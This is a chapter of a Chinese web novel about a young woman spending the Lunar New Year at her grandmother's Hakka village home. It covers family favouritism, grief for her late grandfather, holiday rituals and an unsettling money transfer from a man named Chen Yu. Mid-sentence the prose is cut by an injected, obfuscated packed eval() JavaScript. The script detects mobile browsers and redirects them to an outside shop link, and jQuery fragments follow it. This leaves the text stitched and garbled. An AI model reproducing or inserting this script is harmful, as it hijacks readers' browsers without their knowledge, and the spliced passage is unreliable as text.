这一年，周予萂与之前一样，没有回父母家过年，而是回了外婆家。
回到乡下的第一件事，便是一场浩浩荡荡的年末大扫除。外婆家的自建房是典型的粤北农村气派，独门独院的三层小楼，光是一楼外院就有两百平，清理起来简直是一场硬仗。
粤北地区客家人过年的执念，在于必须把家里每一个角落都擦洗得纤尘不染。周予萂和三个表弟表妹，整整忙活了五天，才把这栋老房子上上下下、里里外外打扫干净。
外公前两年去世后，这个家便剩下了七口人：外婆、周予萂，以及舅舅一家五口。周予萂从小是在外婆家长大的，直到小学一年级才被送回父母身边，但每逢节假日，她都一如既往地回外婆家。
腊月二十三，舅舅和舅娘正式放假归家。从那天起，家里的年味便一天天浓了起来。他们家有个不成文的规矩，没结婚的都算小孩。于是，周予萂和表弟表妹，又变回了不用操心琐事的孩子，只管跟在大人身后凑热闹。
年前，他们全家出动，去了趟县城置办年货。超市里放的音乐，还是卓依婷唱的粤语版《迎春花》：“好一朵迎春花/人人都爱它/好一朵迎春花/迎来大地放光华/好一朵迎春花/花开每一家/好一朵迎春花/茂盛艳丽春色雅……”
这首歌可以说是刻在广东人DNA里的年味密码，每次听到这首歌，周予萂便忍不住跟着哼唱，大脑自动开启单曲循环模式，越哼越有年味。
除了置办年货，炸煎堆是外婆家年前必不可少的仪式。作为寓意着“煎堆碌碌、金银满屋”的年味小吃，外婆每年都坚持自己炸煎堆，说外面买的比不上自家的味道。
周予萂凑在厨房，除了帮忙打打下手，其余时间就是举着手机不停地拍，把那些美好瞬间记录了下来，好在日后回味。
年二十五，临近年关。厨房里香味正浓，舅娘杀了一只自家养的老母鸡，老火慢炖了两个小时，汤色金黄。
周予萂正举着手机拍那锅汤，舅舅的喊话声就从客厅传了进来。他正给三姐叶满苓通电话，原本还在讨论外婆的高血压用药，她一入镜，视频那头话锋一转：“今年，汝在哪过年？”
叶满苓的声音透过免提传出来，语气生硬，带着不容置疑。
“这里。”周予萂回答。
“汝都多久冇转来过？今年必须在家里过年。”
叶满苓的语速很快，根本不给她反应的时间，直接下了通牒：“年二十八，开车去接汝，转来住几晚，年初二再送汝过去。”
“我不要。”周予萂眉头一皱，抗拒脱口而出。
“过去住几晚而已，有什么所谓的？”舅舅在一旁插话，语气轻松得像是在讨论明天吃什么，“回去看一下老人家，汝外婆年纪大了，不管怎么样，还是要去看望下的。”
外婆也坐在藤椅上，温声劝道：“是啊，汝爸妈都在家，哪有不转爸妈家过年的道理？今年转去看看吧，啊？”
又是这样。
周予萂没想到，她都已经那么大了，出来工作都三年了，早已完全实现了经济独立，可在回不回父母家这件事上，还是和小时候如出一辙。她依然没有任何话语权，依然像小时候那样，被大人们随意安排、推来推去。
熟悉的无力感，瞬间将她淹没。她有些不知所措，在院子里蹲了下来，对舅舅说：“我不去，我就在这里过年！”
但舅舅根本没听，或者说，他认为她的想法不重要。他直接对着视频那头一锤定音：“好，姐，那就这样安排。汝丢年二十八过来接佢。”
外婆对上周予萂求救的视线，叹了口气，说：“佢不愿意去就算了，随便佢吧，就让佢在这过年。”
外婆的话还没说完，舅舅就已经把视频掐断了，他将手机往兜里一揣，侧头看向老母亲，啧了一声：“哪有这么傻的，这话能被?姐听到吗？”
头顶上，冬日的阳光正好，一大片白云像棉花糖一样，镶嵌在蓝天之下。周予萂直起身，僵硬地转头往院门外望去，远处的青山高低起伏，连绵的松树林郁郁葱葱。
时值深冬，这里青山依旧。
但这幅美景在她眼里，却逐渐变得模糊、扭曲，眼泪毫无预兆地流了下来。
从小一起长大的表妹叶玖昀紧紧跟随她，看到这一幕，她愣住了，转头对屋门口的大人说道：“我姐都哭了。”
她重复了两遍，说：“她不想回去肯定有她的道理啊，你们为什么一定要让她回去过年？她都那么大了，这点选择的自由都没有吗？”
周予萂站在院子中央，阳光洒在她身上，她却觉得冷入骨髓。她不想哭的，可是眼泪像断了线的珠子，一颗接一颗地往下掉，根本不受控。
外婆慌忙走了过来，那双粗糙的手拍着她的肩膀：“冇事冇事，实在不想去就不去了，啊？别哭。今晚?同汝妈讲。”
眼泪肆无忌惮地流，清涕也跟着涌出来，狼狈不堪。叶玖昀给她递了几张纸，帮她擦拭眼泪，但毫无作用，刚擦干，新的泪水又涌了出来。
眼眶发热，鼻腔里那股酸意怎么压都压不住，顺着喉咙一路烧到了心口，像泡在陈年瓦罐的一坛酸水正在发酵冒泡，每一寸褶皱都被浸得发涨、发疼。
午饭好了，很丰盛。圆桌正中间是那盆金黄的老母鸡汤，旁边摆着蒜炒鸡杂、牛肉炒萝卜，热气腾腾，香气四溢。
周予萂明明已经洗了把脸，擤好鼻涕了，可当她坐在餐桌上，委屈感再次决堤。她不想让别人发现，于是把碗筷端了起来。大颗大颗的眼泪便直直地砸进碗里，给老母鸡汤添了点咸味。她不敢出声，混着咸涩的眼泪，一口一口地把汤喝下。
没想到，她都快二十五岁了，还和小时候一样，吃了一顿眼泪拌饭。
午后，她和叶玖昀站在院墙内，背靠着那面冰凉的瓷砖墙。微风吹过脸颊，带来些许凉意。叶玖昀看着她红肿的眼睛，说了一句很有诗意的话：
“起风了。正好，风可以把眼泪吸走。”
周予萂转过头，想挤出一个笑。却看到，叶玖昀的眼里，不知何时也蓄满了泪。
那一晚，外婆躺在房间的床上，给叶满苓打了视频通话。
房门紧闭，表妹叶玖昀扒在门上，偷偷听墙角。许久后，她出来传递情报，开口第一句就是：“大姑哭了。”
“她说，她对你和予泽哥都是一视同仁的，没有谁更偏心谁，你们上大学的生活费一样都是1500。你奶奶每年过年也会给你红包，不存在重男轻女一说。”
“哦？”周予萂挑眉，听到关键词，大脑快速转动，随意拎出了几条相关信息：
“那她怎么不说，我房间那台倒腾了几手的老空调？”
“她怎么不说，为什么周予泽房间里有新空调、新衣柜，而我没有？”
“她怎么不说，大四那年我在她家过年，只是多吃了几颗葡萄干，她婆婆就立马端起盆子，让我别吃那么多，说那些是要留给她的孙女回来吃的？”
“她怎么不说，小时候六一儿童节，为什么会送周予泽一辆自行车作为礼物，而我什么都没有？”
“她怎么不说，为什么生我下来第一天，就把我送走了？”
周予萂的声音很平静，她盯着叶玖昀，眼神里没有愤怒，只有一种深深的疲惫。“这些事情，难道不是偏心？”
“我知道。”叶玖昀低下了头，手指抠着红木凳上的缝隙，不再说话。
熄灯后，她们躺在床上。
不知为何，明明已经不想哭了，可眼泪还是像决了堤的水，顺着眼角无声地淌下来。液体慢慢划过脸颊，最后滑进耳蜗里，带起一阵凉意。
枕头两侧的布料，很快洇湿了一大片。鼻腔里堵得难受，一股清涕将落未落，周予萂轻声吸了吸鼻子。
“姐，你怎么了？”叶玖昀的声音在黑暗中响起，带着一丝小心翼翼的试探。
周予萂喉咙发紧，“没事，鼻子有点塞。”
话音刚落，一只温热的手突然伸了过来。
叶玖昀只停了一秒，便摸到她脸上的一片湿意，随即缩回了手。
周予萂听着抽纸的声音，很快，一张对折过的厚层纸巾轻轻覆在了她的眼眶上，隔绝了光线，也隔绝了眼泪的流向。
“别哭了，姐。”叶玖昀的声音很轻，却像一根针，扎破了周予萂最后的伪装。
她听不得安慰。
“我没事。”她重复了几遍，声音已经哑了。
没过一会儿，覆在眼眶上的那层纸巾变得沉重起来。湿意迅速蔓延，原本厚实的纸纤维被泪水浸透，最后在眼框处，生生哭穿了两个大椭圆的洞，一触即破。
湿冷的触感贴在眼皮上，并不舒服。周予萂坐起身，扯下那张破碎的纸巾，抽纸用力擤了擤鼻子。
够了。
她在心里顾自下达命令。
不要内耗，不要思考，不要去想明天，不要去想那些无法改变的烂事。
睡觉。现在，立刻，马上。她重新躺下，把自己裹进被子里，切断了所有的联想。
神奇的是，在理智的强力镇压下，眼泪真的停了。意识在黑暗中迅速下沉，她竟然真的睡着了。
第二天清晨，阳光照旧洒满了院子，大人们在外面晒着太阳，烤在背上热烘烘的，无人再提及昨天的事情。
很好。
天亮了，泪也干了，一切就都没发生过。
大年三十，天刚蒙蒙亮，外婆家便忙活起来，启动了一年中最隆重的仪式。按当地习俗，除夕奉神需备三牲，外婆家备的是鸡、鸭、猪。
猪肉是提前买好的，但杀鸡宰鸭就得大早上起来准备。周予萂跟表弟表妹们从小在农村长大，看惯了这场面，拔起鸡毛来一个比一个利索，脸上沾着鸡毛细绒也不在意，反倒觉得好玩。
厨房里，大铁锅咕嘟咕嘟冒着热气，煮熟的鸡、鸭、猪肉被整齐盛在盘中，端端正正摆上客厅的供桌。桌上最前方还放着三杯清茶、三盏白酒，地面上香炉燃起的线香袅袅升起，缠绕着满屋的烟火气。
表弟拎着一笼鞭炮跑到院门外，噼里啪啦的声响骤然炸响，在乡野间回荡。震耳欲聋的爆竹声中，奉神仪式正式拉开序幕。
外婆穿着一身暗红色衣裳，双手合十站在供桌前，用客家话絮絮叨叨地念：“汝阿公啊，阿太啊，快来食啊。莫嫌少哦，这都是子孙孝敬汝哋的。多食点，保佑子孙平平安安，顺顺利利，来年事事如意啊……”
周予萂站在一旁，目光穿过缭绕的烟雾，落在那张对着大门悬挂的遗像上。照片里的外公慈眉善目，嘴角噙着温和的笑意。这是阿公离开的第二个年头，每当听到外婆口中一声声“汝阿公啊”，周予萂的鼻尖总会泛起一阵难以抑制的酸楚。
余华在《第七天》里写：“亲人的离去不是一场暴雨，而是此生漫长的潮湿。我永远困在这潮湿当中，是清晨空荡的厨房，是晚归漆黑的窗，在每一个波澜不惊的日子里，掀起狂风骤雨。”
她第一次看这本书，是在高中。那时还没有经历过亲人离世，不懂这一句话究竟意味着什么。后来懂了，却不想懂得。
这种痛，不会随着时间的流逝而消弭，它悄悄隐匿在日常生活中，在每一个可能的时刻，猝不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410506|200667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
及防地击中人心。
奉神的时候，需要烧纸钱。
周予萂蹲在被熏的漆黑的铁火盆前，将手中的黄色纸钱投入火舌之中，看着它们迅速蜷缩、卷曲，最终化为灰烬。
跳跃的火光映在她的脸上，她一边往火盆里添着纸钱，一边在心里用客家话默念：
“阿公，钱给你烧过去了，记得拿去花，别省。”
“我好想你啊，你放心，我会好好照顾阿婆，也会照顾好自己，你在那边，一定要好好的。”
除夕当天中午，他们照例不吃正餐。
外婆用上午熬煮的浓郁鸡汤作为汤底，将早就揉搓好的面粉团，一个个投入滚沸的汤中，这在当地称：煮粄。它的模样很像汤圆，却是实心无馅的，口感软糯，吸饱了鲜甜的鸡油和汤汁，一口咬下去，别有一番滋味。
吃过煮粄，便开始贴春联了。外婆家的三层小楼，光是门框便超过二十个，单单贴春联，他们便贴了两个小时。
忙完这一切，时间刚过三点，周予萂跟表妹叶玖昀开始准备洗澡。除夕当天的澡，是一年中洗得最早、最久，也最隆重的一次。热水冲刷过身体，洗去旧岁所有的尘埃与晦气，干干净净地迎接新年。
洗完澡后，周予萂便换上了提前准备好的新衣服。虽然已经长大了，但在过年穿新衣这件事上，她还保留着儿时的仪式感。
傍晚五点多，团圆饭正式开席。
圆桌上摆得满满当当，几乎看不到缝隙：皮黄肉嫩的白斩鸡、滋滋冒油的烤鸭、清蒸鲈鱼、芋头扣肉、油爆大虾、蒜炒鸡杂，还有萝卜猪肉汤和鸭红汤两道例汤。当然，作为广东人餐桌上最后的倔强，无论硬菜再多，那一盘碧绿清脆的炒菜心永远不会缺席。
酒足饭饱，夜幕降临。
村里不像城市，说禁烟花爆竹就能禁止。网上说春节期间的农村堪比二战，这不是虚言。走到院外，一抬起头，四周都是此起彼伏的烟花。
“姐，看这边！”叶玖昀举着手机喊了一声。
周予萂闻声回头，正好身后一朵紫色烟花在空中绽放。快门定格，照片里的她穿着一袭复古红裙，笑容在漫天流火的映衬下，明媚又生动。
她很喜欢这张照片。
于是精选了几张年味十足的图片，加上刚刚那张烟花下的照片，编辑了一条九宫格朋友圈。文案很简单，只有四个字：【新年快乐！】
刚发出去，周予萂就看到了那座孤岛头像出现在她的点赞列表里。
紧接着，微信弹出了两条新消息。
陈屿：【新年快乐啊】
陈屿：【又长一岁了】
这话说的好像他很老一样，但他只比她大一岁。
周予萂指尖悬在输入框上方，竖线一闪一闪，她还没想好该怎么回他，屏幕画面却跳出了一个橙色方块。
微信转账：【请收款￥10000.00】
那串整齐排列的零，在手机冷光的映衬下格外刺眼。周予萂原本因过年而雀跃的心情，在看清数字的那一刻僵住了。
这不是一个属于新年红包范畴的数字。在周予萂的认知里，新年红包就是讨个吉利的彩头，讲究的是情分，而不是赤裸裸的金额堆砌。
从小到大，她收到过最厚重的红包，也不过是家人给的五百块。相比之下，眼前这个数字实在太大了，大得不像祝福，反倒透着一股银货两讫的感觉。
她联想到平安夜那个爱马仕Lindy包，顿时感到一阵难以言喻的生理性不适，像是吃冰糖葫芦的时候，被表层脆硬的糖片卡住了喉咙，吞也吞不得，吐也吐不出。
她没有回复他的微信，反手将手机揣进了口袋里。
客厅的电视亮着，春晚的声音此起彼伏地漾开，却没真正摄取谁的注意力，它只是除夕夜里，最恰到好处的年味背景音。
周予萂和家人坐上了牌桌，他们玩得很小，明杠暗杠也罢，自摸清一色也好，统统都按一块钱计算。在这方寸牌桌上，没有人在乎输赢，不过是借着麻将凑年味。
随着零点来临，村子里四面八方的烟花爆竹声便骤然炸响。周予萂一家早已从牌桌上下来，把从路边烟花爆竹店买回来的烟花摆在了院外空旷处。据店家说，这一大箱烟花，能连发五十响。
表弟点燃了引线，尖锐的呼啸声陡然划破夜空，紧接着，一团团绚烂的火光接连在头顶炸开，把大家的脸映得忽明忽暗。
就在她仰头欣赏烟花时，口袋里的手机震动了起来。来电显示上，出现了陈屿的名字，她迟疑了两秒，接通电话。
许久，听筒里传来陈屿的声音：“新年快乐。”
周予萂握着手机的手紧了紧，也回道：“新年快乐。”
随后便是沉默。这种沉默在震耳欲聋的烟花鞭炮声中，显得尤为诡异。后来，还是陈屿打破了沉默，问：“你那里在放烟花？”
“嗯，是的。”周予萂看着眼前升腾的硝烟，提高了音量，近乎喊着说道：“周围好多人家都在放鞭炮，特别吵，听不太清。”
“很热闹。”陈屿的声音有些遥远。
“嗯。”
又是一阵短暂的停顿，陈屿似乎放弃了寻找话题，只留下一句祝福：“新年快乐，祝你新的一年平安健康，万事顺遂。”
“你也是。”
“好，那我挂了。”
“嗯。”
电话切断，屏幕暗了下去。周予萂将手机揣回兜里，院子里的那箱烟花刚好放完最后一发，空气中弥漫着浓重的硫磺味。她站在那里，觉得刚才那阵卡在喉咙里的异物感，似乎更重了一些。